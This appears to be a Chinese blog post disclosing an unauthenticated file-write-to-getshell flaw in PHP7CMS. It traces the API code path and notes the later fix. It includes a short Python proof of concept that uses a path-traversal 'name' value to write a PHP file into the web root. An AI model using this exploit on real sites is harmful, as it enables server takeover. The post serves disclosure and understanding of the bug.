PHP7CMS 无条件前台GETSHELL

PHP7CMS 无条件前台GETSHELL

Version:2018-10-09

//最新版中以修复此漏洞

这个漏洞很简单,如果作者在写代码的时候考虑到一点点安全方面,其实都可以避免的。

01

02

03

04

05

06

07

08

09

10

11

12

// php7cms/Core/Controllers/Api/Api.php

// 52~61 line

public function save_form_data() {

 

    $rt = \Phpcmf\Service::L('cache')->init('file')->save(

        \Phpcmf\Service::L('Input')->get('name'),

        \Phpcmf\Service::L('Input')->post('data'),

        7200

    );

    var_dump($rt);

    exit;

}

调用了Cache类中 init 函数,参数分别为get(‘name’)和post(‘data’)。

01

02

03

04

05

06

07

08

09

10

11

12

// php7cms/Fcms/Library/Cache.php

 // 112~121 line

 public function init($handler = '', $prefix = 'site-'.SITE_ID.'-') {

       $config = new \Config\Cache();

       $config->handler = 'file';

       $config->prefix = $prefix;

       !$config->prefix && $config->prefix = 'site-'.SITE_ID.'-';

       $config->path = WRITEPATH.'caching/';

       $cache = \Config\Services::cache($config, 0);

 

       return $cache;

   }

初始化缓存类,为prefix参数拼接字符串后直接无任何过滤直接传入CI框架的缓存类中,中间框架的执行流程就不在文章里写了。

直接看最后一步

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

// php7cms/System/Cache/Handlers

// 107~125 line

public function save(string $key, $value, int $ttl = 60)

{

  $key = $this->prefix . $key;

 

  $contents = [

    'time'         => time(),

    'ttl'         => $ttl,

    'data'         => $value,

  ];

 

  if ($this->writeFile($this->path . $key, serialize($contents)))

  {

    chmod($this->path . $key, 0640);

 

    return true;

  }

 

  return false;

}

 

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

//324~345 line       

protected function writeFile($path, $data, $mode = 'wb')

  {

    if (($fp = @fopen($path, $mode)) === false)

    {

      return false;

    }

 

    flock($fp, LOCK_EX);

 

    for ($result = $written = 0, $length = strlen($data); $written < $length; $written += $result)

    {

      if (($result = fwrite($fp, substr($data, $written))) === false)

      {

        break;

      }

    }

 

    flock($fp, LOCK_UN);

    fclose($fp);

 

    return is_int($result);

  }

直接写入到缓存目录中,其中并没有过滤”.”和”/”,可以跨目录写入。所以不需要考虑路由问题。

POC:

1

2

3

4

5

from requests import post

postData = {

  'data':'<?php phpinfo()?>'

}

postTest = post("http://localhost//index.php?s=api&c=api&m=save_form_data&name=/../../../adminss.php",data=postData)

新版修复:

 

首先给dr_safe_replace 参数增加了两个新的过滤条件 ” . “和 ” ‘ “,在原本漏洞出发点接收get值的时候用这个函数过滤。

展开阅读全文

没有更多推荐了,返回首页